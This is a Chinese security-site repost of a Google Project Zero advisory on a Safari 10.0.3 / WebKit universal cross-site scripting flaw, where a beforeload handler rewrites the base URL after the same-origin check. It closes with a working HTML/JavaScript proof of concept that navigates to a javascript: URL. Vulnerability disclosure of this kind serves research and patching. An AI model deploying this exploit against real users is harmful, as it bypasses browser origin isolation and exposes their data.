首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple Safari 10.0.3(12602.4.8) / WebKit - 'HTMLObjectElement::updateWidget' Univ
来源:Google Security Research 作者:Google 发布时间:2017-05-31  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1120
 
When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violate the Same Origin Policy or not.
 
Here's some snippets of the logic.
 
void HTMLObjectElement::updateWidget(CreatePlugins createPlugins)
{
    ...
    String url = this->url();
    ...
    if (!allowedToLoadFrameURL(url))
        return;
    ...
 
    bool beforeLoadAllowedLoad = guardedDispatchBeforeLoadEvent(url);
    ...
 
    bool success = beforeLoadAllowedLoad && hasValidClassId();
    if (success)
        success = requestObject(url, serviceType, paramNames, paramValues);
    ...
}
 
bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url)
{
    URL completeURL = document().completeURL(url);
    if (contentFrame() && protocolIsJavaScript(completeURL) && !document().securityOrigin().canAccess(contentDocument()->securityOrigin()))
        return false;
    return document().frame()->isURLAllowed(completeURL);
}
 
bool HTMLPlugInElement::requestObject(const String& url, const String& mimeType, const Vector<String>& paramNames, const Vector<String>& paramValues)
{
    if (m_pluginReplacement)
        return true;
 
    URL completedURL;
    if (!url.isEmpty())
        completedURL = document().completeURL(url);
 
    ReplacementPlugin* replacement = pluginReplacementForType(completedURL, mimeType);
    if (!replacement || !replacement->isEnabledBySettings(document().settings()))
        return false;
 
    LOG(Plugins, "%p - Found plug-in replacement for %s.", this, completedURL.string().utf8().data());
 
    m_pluginReplacement = replacement->create(*this, paramNames, paramValues);
    setDisplayState(PreparingPluginReplacement);
    return true;
}
 
The SOP violation check is made in the method HTMLPlugInImageElement::allowedToLoadFrameURL.
 
What I noticed is that there are two uses of |document().completeURL| for the same URL, and the method guardedDispatchBeforeLoadEvent dispatches a beforeloadevent that may execute JavaScript code after the SOP violation check. So if the base URL is changed like "javascript:///%0aalert(location);//" in the event handler, a navigation to the JavaScript URL will be made successfully.
 
Tested on Safari 10.0.3(12602.4.8).
 
PoC:
-->
 
<html>
<head>
</head>
<body>
<script>
 
let o = document.body.appendChild(document.createElement('object'));
o.onload = () => {
    o.onload = null;
 
    o.onbeforeload = () => {
        o.onbeforeload = null;
 
        let b = document.head.appendChild(document.createElement('base'));
        b.href = 'javascript:///%0aalert(location);//';
    };
    o.data = 'xxxxx';
};
 
o.type = 'text/html';
o.data = 'https://abc.xyz/';
 
</script>
</body>
</html>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WebKit - Stealing Variables vi
·Skia Graphics Library - Heap O
·WebKit - enqueuePageshowEvent
·Mozilla Firefox < 53 - 'gfxTex
·WebKit - 'ContainerNode::parse
·Mozilla Firefox < 53 - 'Convol
·Apple WebKit / Safari 10.0.3(1
·Sandboxie 5.18 - Local Denial
·Apple WebKit / Safari 10.0.3(1
·JAD java Decompiler 1.5.8e - L
·Samba 3.5.0 - Remote Code Exec
·Microsoft MsMpEng - Multiple P
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved